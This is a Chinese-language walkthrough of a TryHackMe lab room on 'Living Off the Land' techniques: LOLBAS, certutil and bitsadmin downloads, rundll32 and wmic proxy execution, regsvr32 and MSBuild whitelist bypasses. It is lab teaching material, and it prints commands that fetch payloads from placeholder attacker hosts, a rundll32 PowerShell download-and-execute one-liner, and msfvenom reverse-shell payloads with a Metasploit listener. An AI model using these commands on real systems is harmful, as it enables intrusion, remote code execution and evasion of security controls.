靠山吃山

房间名称 https://tryhackme.com/r/room/monitoringevasion
描述 靠山吃山
难度 中等
作者 BadWiChell

任务一#

介绍#

Living Off the Land 是红队社区的一个热门术语。这个名字取自现实生活,靠吃土地上可用的食物为生。同样,攻击者和恶意软件创建者会利用目标计算机的内置工具和实用程序。2013 年,DerbyCon3 上引入了“Living Off the Land”一词,此后在红队社区中获得了更多的关注,成为一种常用和流行的技术。

这些内置工具在目标系统或网络功能中执行各种常规活动;但是,它们越来越多地被使用和滥用,例如,使用 CertUtil 工具将恶意文件下载到目标计算机中。

主要思想是使用 Microsoft 签名的程序、脚本和库来融入和规避防御性控制。红队成员在对目标执行交战活动时不希望被发现,因此使用这些工具可以更安全地保持隐身。

以下是生活在陆地上所包含的一些类别:

  •  识别
  •  文件操作
  •  任意代码执行
  •  横向移动
  •  安全产品旁路

 学习目标

  • 了解红队参与的“生活在土地上”一词。
  • 了解 LOLBAS 项目及其使用方法。
  • 了解并应用红队参与中使用的技术。

 会议室先决条件

  •  一般黑客技术的基本知识。
  •  完成 Jr. 渗透测试器学习路径。
  • TryHackMe Red Team 初始访问模块.

任务二#

windows 内部系统#

Windows Sysinternals 是一组工具和高级系统实用工具,旨在帮助 IT 专业人员在各种高级主题中管理、疑难解答和诊断 Windows 操作系统。

Sysinternals 套件分为多个类别,包括:

  •  磁盘管理
  •  流程管理
  •  网络工具
  •  系统信息
  •  安全工具

为了使用 Windows Sysinternals 工具,我们需要接受这些工具的 Microsoft 许可协议。我们可以通过在命令提示符下传递 -accepteula 参数或在工具执行期间通过 GUI 来做到这一点。

以下是一些常用的 Windows Sysinternals 工具:

AccessChk(访问Chk) 帮助系统管理员检查文件、目录、注册表项、全局对象和 Windows 服务的指定访问权限.
PsExec 在远程系统上执行程序的工具.
ADExplorer 一种高级 Active Directory 工具,有助于轻松查看和管理 AD 数据库。
ProcDump (处理器转储) 监视正在运行的进程是否存在 CPU 峰值,以及转储内存以进行进一步分析的能力。
ProcMon 过程监控的重要工具.
TCPView 列出所有 TCP 和 UDP 连接的工具。
PsTools的 在 Sysinternals 套件中设计的第一个工具,用于帮助列出详细信息。
portmon 监视和显示系统上的所有串行和并行端动。
Whois 提供指定域名或 IP 地址的信息。

Sysinternals 实时#

Windows Sysinternals 的一大特点是无需安装。Microsoft 提供 Windows Sysinternals 服务 Sysinternals live,其中包含使用和执行这些工具的各种方法。我们可以通过以下方式访问和使用它们:

  •  Web 浏览器(链接)。
  •  Windows 共享
  •  命令提示符

若要使用这些工具,请下载它们,或者在 Windows 资源管理器中输入 Sysinternal Live 路径 \live.sysinternals.com\tools。

任务三#

 LOLBAS 项目#

什么是LOLBAS?

LOLBAS 代表 Living Off the Land Binaries And Scripts,项目的主要目标是收集和记录用作 Living Off the Land 技术的 Microsoft 签名和内置工具,包括二进制文件、脚本和库。

The LOLBAS project is a community-driven repository gathering a collection of binaries, scripts, libraries that could be used for red team purposes. It allows to search based on binaries, functions, scripts, and ATT&CK info. The previous image shows what the LOLBAS project page looks like at this time. If you are interested in more details about the project, you may visit the project’s website here .

ROLBAS网站提供了一个方便的搜索栏来查询所有可用数据。查找二进制文件很简单;包括二进制名称将显示结果。但是,如果我们想查找特定函数,则需要在函数名称之前提供 /。例如,如果我们要查找所有执行函数,我们应该使用 /execute 同样,为了基于类型进行查找,我们应该使用 # 符号后跟类型名称。以下是项目中包含的类型:

  •  脚本
  •  二元的
  •  图书馆
  •  其他MSBinaries

 工具标准

要使工具成为“在陆地上生活”技术并被接受为LOLBAS项目的一部分,需要特定的标准:

  • 操作系统原生的 Microsoft 签名文件或从 Microsoft 下载的文件。

  • 具有已知用例未涵盖的其他有趣的意外功能。

  • 有利于 APT(高级持续威胁)或红队参与。

请注意,如果您发现符合上述标准的令人兴奋的二进制文件,您可以通过访问 GitHub 存储库贡献页面来提交您的发现以获取更多信息。
LOLBAS 项目接受符合以下功能之一的工具提交:

  •  任意代码执行

  • 文件操作,包括下载、上传和复制文件。

  •  编译代码

  • 持久性,包括在备用数据流 (ADS) 中隐藏数据或在登录时执行。

  •  UAC 旁路

  •  转储进程内存

  •  DLL 注入

任务四#

文件操作#

Certutil

Certutil 是用于处理认证服务的 Windows 内置实用程序。它用于转储和显示证书颁发机构 (CA) 配置信息和其他 CA 组件。因此,该工具的正常用途是检索证书信息。但是,人们发现certutil.exe可以传输和编码与认证服务无关的文件。MITRE ATT&CK 框架将此技术标识为 Ingress 工具传输 (T1105)。 为了通过一个示例来说明这一点,我们可以使用 certutil.exe 从攻击者的 Web 服务器下载文件,并使用以下命令将其存储在 Windows 的临时文件夹中。请注意,我们使用 the-urlcache 和 -split -f 参数来强制工具使用拆分技术从提供的 URL 下载。

certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe

-urlcache-urlcache 显示 URL,启用要在命令中使用的 URL 选项
-split -f 拆分并强制从提供的 URL 获取文件。
此外,certutil.exe 可以用作编码工具,我们可以在其中对文件进行编码和解码文件的内容。ATT&CK T1027 是指这种技术对文件进行混淆处理,使其难以发现或分析。

C:\Users\thm> certutil -encode payload.exe Encoded-payload.txt

有关该工具的详细信息,您可以在此处访问 Microsoft 文档:Microsoft 文档:CertUtil

BITSAdmin

bitsadmin 工具是一个系统管理员实用程序,可用于创建、下载或上传后台智能传输服务 (BITS) 作业并检查其进度。BITS 是一种低带宽和异步方法,用于从 HTTP Web 服务器和 SMB 服务器下载和上传文件。有关 bitsadmin 工具的其他信息,请参阅 Microsoft Docs.

攻击者可能会滥用 BITS 作业在受感染的计算机中下载并执行恶意负载。有关此技术的更多信息,您可以访问 ATT&CK T1197 页面。

介绍码头集装箱内容(重访)

C:\Users\thm>bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\Users\thm\Desktop\payload.exe

/Transfer 以使用传输选项

/Download 我们指定使用下载类型的传输

/优先级 我们正在设置作业的优先级,以便在前台运行

有关 bitsadmin 参数的详细信息,您可以访问该工具的 Microsoft 文档。

查找链

Findstr 是 Microsoft 内置工具,用于查找文件中的文本和字符串模式。findstr 工具非常有用,可以帮助用户和系统管理员在文件或解析输出中进行搜索。例如,如果我们想检查我们的机器上是否打开了端口 8080,那么我们可以通过管道传递 netstat 的结果以找到该端口,如下所示: netstat -an|findstr “445”.

但是,通过使用 findstr.exe 从网络内的 SMB 共享文件夹下载远程文件,发现了一种意外方法,如下所示,

C:\Users\thm>findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe

/V 打印出不包含所提供字符串的行。

dummystring 要搜索的文本;在这种情况下,我们提供了一个不能在文件中找到的字符串。

c:\Windows\Temp\test.exe 将输出重定向到目标计算机上的文件。

请注意,其他工具可用于文件操作。我们建议访问 LOLBASproject 查看它们。

问答#

问:运行 bitsadmin.exe 将所选文件下载到附加的 Windows VM 上。成功执行命令后,将在桌面上自动创建一个编码的标志文件。文件名是什么?

根据 Bitsadmin 工具使用提示,在机器上创建 txt 文件进行传输即可。

问:使用 certutil.exe 工具解码问题 #1 中的编码标志文件。为了解码文件,我们使用 -decode   

首先第一步使用 certutil 工具的解密参数,第二步指定加密文件所在的目录选择 txt 文件,第三步生成解密后输出文件即可。

任务五#

文件执行#

此任务显示了在操作系统中执行二进制文件的各种方法。执行二进制文件的典型情况涉及各种已知方法,例如 cmd.exe 或从桌面使用命令行。但是,存在其他方法可以通过滥用其他系统二进制文件来实现有效负载执行,其中一个原因是隐藏或强化有效负载的进程。基于 MITRE ATT&CK 框架,此技术称为签名二进制代理执行或间接命令执行,攻击者利用其他系统工具生成恶意负载。这种技术还有助于逃避防御控制。

文件资源管理器是Windows的文件管理器和系统组件。人们发现使用文件资源管理器二进制文件可以执行其他.exe文件。此技术称为间接命令执行,其中可以使用和滥用explorer.exe工具从受信任的父进程启动恶意脚本或可执行文件。

文件管理器#

explorer.exe二进制文件位于:

  • C:\Windows\explorer.exe 表示 Windows 32 位版本
  • C:\Windows\SysWOW64\explorer.exe 为 Windows 64 位版本

为了创建explorer.exe父进程的子进程,我们可以执行以下命令:

C:\Users\thm> explorer.exe /root,"C:\Windows\System32\calc.exe"

作为上一个命令的结果,我们在桌面上弹出了计算器。

WMIC#

Windows Management Instrumentation (WMIC) 是用于管理 Windows 组件的 Windows 命令行实用工具。人们发现WMIC也被用来执行二进制文件以逃避防御措施。MITRE ATT&CK 框架将此技术称为签名二进制代理执行 (T1218)

C:\Users\thm>wmic.exe process call create calc
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 1740;
        ReturnValue = 0;
};


C:\Users\thm>

前面的 WMIC 命令创建我们选择的二进制文件的新进程,在本例中为 calc.exe。

Rundll32#

Rundll32 是一个 Microsoft 内置工具,可在操作系统中加载和运行动态链接库 DLL 文件。红队可以滥用和利用 rundll32.exe 来运行任意有效负载并执行 JavaScript 和 PowerShell 脚本。MITRE ATT&CK 框架将其标识为签名二进制代理执行:Rundll32,并将其称为 T1218.

rundll32.exe二进制文件位于:

  • C:\Windows\System32\rundll32.exe 表示 Windows 32 位版本
  • C:\Windows\SysWOW64\rundll32.exe 为 Windows 64 位版本

现在,让我们尝试使用rundll32.exe二进制文件执行calc.exe二进制文件作为概念证明:

C:\Users\thm> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

在前面的命令中,我们使用了嵌入 JavaScript 组件 eval() 的 rundll32.exe 二进制文件来执行calc.exe二进制文件,即Microsoft计算器。

如前所述,我们还可以使用rundll32.exe执行 PowerShell 脚本。以下命令运行一个 JavaScript,该 JavaScript 执行 PowerShell 脚本,以便使用 rundll32.exe 从远程网站下载.

C:\Users\thm> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");

由于上一次执行,script.ps1 的副本已下载到目标计算机上的内存中。

任务六#

应用程序白名单绕过#

应用程序白名单是 Microsoft 终结点安全功能,可防止恶意和未经授权的程序实时执行。应用程序白名单是基于规则的,它指定允许在操作系统上存在和执行的已批准应用程序或可执行文件的列表。此任务重点介绍用于绕过 Windows 应用程序白名单的 LOLBAS 示例。

Regsvr32#

Regsvr32 is a Microsoft command-line tool to register and unregister Dynamic Link Libraries (DLLs)  in the Windows Registry. The regsvr.exe binary is located at:

  • C:\Windows\System32\regsvr32.exe 表示 Windows 32 位版本
  • C:\Windows\SysWOW64\regsvr32.exe 为 Windows 64 位版本

除了其预期用途外,regsvr32.exe二进制文件还可用于执行任意二进制文件并绕过 Windows 应用程序白名单。根据 Red Canary 的报告,regsvr32.exe二进制文件是第三大最流行的 ATT&CK 技术。攻击者利用regsvr32.exe在本地或远程执行本机代码或脚本。regsvr32.exe中使用的技术使用受信任的 Windows 操作系统组件并在内存中执行,这也是此技术也用于绕过应用程序白名单的原因之一。

让我们尝试在现实生活中应用这种技术。首先,我们需要使用 msvenom 创建一个恶意 DLL 文件,并设置我们的 Metasploit 侦听器以接收反向 shell。请注意,我们将创建一个适用于 32 位操作系统的恶意文件。我们将使用 regsvr32.exe 应用程序白名单绕过技术在目标系统上运行命令。

user@machine$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f dll -a x86 > live0fftheland.dll 

请注意,我们使用 the-f 参数将输出类型指定为 DLL。生成恶意 DLL 文件后,我们需要将有效负载传送到受害计算机。我们将通过使用 Web 服务器在攻击机器上提供 DLL 文件来做到这一点,如下所示: 这里推荐 updog 工具,将我们生成的 dll 文件传输到目标机器然后使用 regsvr32.exe 来执行:

C:\Users\thm> c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.dll or C:\Users\thm> c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\live0fftheland.dll 

对于第二个选项(更高级的命令),我们指示regsvr32.exe运行:

  • /s:处于静音模式(不显示消息)
  • /n:不调用 DLL 寄存器服务器
  • /i:: 使用另一台服务器,因为我们使用了 /n
  • /u:使用 unregister 方法运行

目标机器返回 shell

请注意,如果我们要创建一个 64 位 DLL 版本,我们需要在 msfvenom 命令中指定它,并使用位于 C:\Windows\SysWOW64\regsvr32.exe 的 64 位版本的 regsvr32.exe 从受害计算机运行它。

Bourne Again Shell (Bash)

2016 年,Microsoft 在 Windows 10、11 和 Server 2019 上增加了对 Linux 环境的支持。此功能称为适用于 Linux 的 Windows 子系统 (WSL),它存在于两个 WSL 版本中:WSL1 和 WSL2。WSL 是在操作系统上运行的 Hyper-V 虚拟化 Linux 发行版,支持 Linux 内核和系统调用的子集。此功能是用户可以安装并与 Linux 发行版交互的插件。作为 WSL 的一部分,bash.exe 是用于与 Linux 环境交互的Microsoft工具。

人们找到了执行有效负载并绕过Windows应用程序白名单的方法,因为它是Microsoft签名的二进制文件。通过执行 -c bash.exe “path-to-payload”,我们可以执行任何未签名的有效负载。ATT&CK 称其为间接命令执行技术,攻击者滥用 Windows 工具实用程序来获取命令执行。有关此技术的更多信息,您可以访问 T1202 ATT&CK 网站。

请注意,需要在 Windows 10 中启用并安装适用于 Linux 的 Windows 子系统才能使用 bash.exe 二进制文件。此外,由于嵌套虚拟化限制,附加的 VM 未启用 Linux 子系统。

请记住,本节重点介绍了几个有趣的工具。如果您有兴趣查看可用的 LOLBAS 工具,您可以访问项目网站。

任务七#

其他应用技术#

本部分重点介绍一些有趣的技术,无论是用于初始访问还是持久性。以下技术属于 Living Off the Land 保护伞,因为它们可以用作 Windows 环境实用程序的一部分。

Nopowershell!#

019 年,Red Canary 发布了一份威胁检测报告,指出 PowerShell 是恶意活动最常用的技术。因此,组织开始监视或阻止执行powershell.exe。因此,攻击者会找到其他方法来运行 PowerShell 代码,而无需生成它。

PowerLessShell 是一种基于 Python 的工具,它生成恶意代码以在目标计算机上运行,而不会显示 PowerShell 进程的实例。PowerLessShell 依赖于滥用 Microsoft 生成引擎 (MSBuild)(用于生成 Windows 应用程序的平台)来执行远程代码。

首先,让我们将项目的副本从 GitHub 存储库下载到 AttackBox 上:

user@machine$ git clone https://github.com/Mr-Un1k0d3r/PowerLessShell.git

项目要求之一是获取 PowerShell 有效负载,使其适合与 MSBuild 配合使用。在 AttackBox 上,我们需要使用 msfvenom 生成 PowerShell 有效负载,如下所示:

user@machine$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1

此外,我们需要运行 Metasploit 框架来侦听并等待反向 shell。  

user@machine$ msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost AttackBox_IP;set lport 4443;exploit"

现在,我们已准备好有效负载,请更改为 PowerLessShell 目录项目,以将有效负载转换为与 MSBuild 工具兼容。然后运行 PowerLessShell 工具,并将源文件设置为我们使用 msfvenom 创建的文件,如下所示:

user@machine$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj

使用 updog 传输到目标机器,最后,在目标 Windows 计算机上,生成 .csproj 文件并等待反向 shell!

C:\Users\thm> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj

成功上线!

![[Pasted image 20240403183236.png]]

拿到旗帜